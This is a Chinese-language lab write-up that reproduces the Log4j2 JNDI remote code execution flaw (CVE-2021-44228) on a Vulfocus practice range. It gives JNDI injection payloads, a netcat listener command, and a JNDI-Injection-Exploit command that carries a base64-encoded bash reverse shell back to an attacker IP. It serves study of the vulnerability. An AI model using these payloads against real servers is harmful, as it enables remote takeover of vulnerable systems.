Bootstrap

Log4j2远程代码执行漏洞靶场复现(CVE-2021-44228)

简介

      Apache Log4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。

漏洞描述

      logger在执行日志的时候,就会执行中间的表达式,如表达式是JNDI就会远程下载文件到本地 并执行。

影响范围

      Apache Log4j 2.x <= 2.15.0-rc1

漏洞复现

所需工具

Netcat        netcat 1.11 for Win32/Win64

JNDI         https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

java   还有一台VPS(没有VPS的可以把靶场搭载本地虚拟机,通过内网环境复现,步骤一致)

靶场

Vulfocus 漏洞威胁分析平台

打开靶场平台直接创建一个log4j靶场进行复现

启动一个log4j靶场

 点击问号进行传参,并且进行抓包

 利用dnslog域名解析探测,判断是否存在Log4j漏洞

DNSLog链接指向:       DNSLog Platform

先从DNSLog获得一个域名,然后将该DNSlog通过JNDI表达式传输到服务器。   

例如:      ${jndi:ldap://dns}        或者          ${jndi:rmi://dns}

这里直接发出去发现网页报404错误,我们将其进行URL编码后在重新发包

回显成功后,返回到DNSLog,刷新数据发现已经被记录了。所有初步判断存在log4j漏洞

接着我们利用VPS(如果没有VPS的可以将靶场搭建在本地,利用内网环境复现)

在VPS上启动nc监听

nc -lvp 监听端口

 在打开JDNI注入工具,编译我们的恶意命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,xxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" -A xxx.xxx.xxx.xxx

红色部分的为反弹shell的命令进行base64编码👇

bash -i >& /dev/tcp/攻击机的ip地址/nc监听的端口 0>&1

在进行base64编码:

Base64 在线编码解码 | Base64 加密解密 - Base64.us

蓝色的为攻击机的IP

 设置好命令后复制到JNDI,获得我们的payload

生成可用payload后,我们回到靶场进行抓包,将DNSLog换成我们生成的payload

(如果是用VPS,需要到防火墙将监听端口打开。8180 1099 1389 以及nc监听的端口)

将payload进行URL编码后重新发送,页面回显后查看VPS 

(如果没反弹成功就多换几个payload,或者将nc监听和JNDI注入工具关闭重新打开)

反弹shell成功,可以执行靶场命令,获得flag 

本章注意点

1、在将JNDI表达式传入参数时记得URL编码,不然页面报404错误

2、利用JNDI工具时要把JNDI监听的三个端口开放,以及还有nc监听的端口

3、如果反弹shell不成功,多换几个payload,都换过了还不行就重新开启下NC监听和JNDI注入(可能是靶场不太稳定的缘故)

;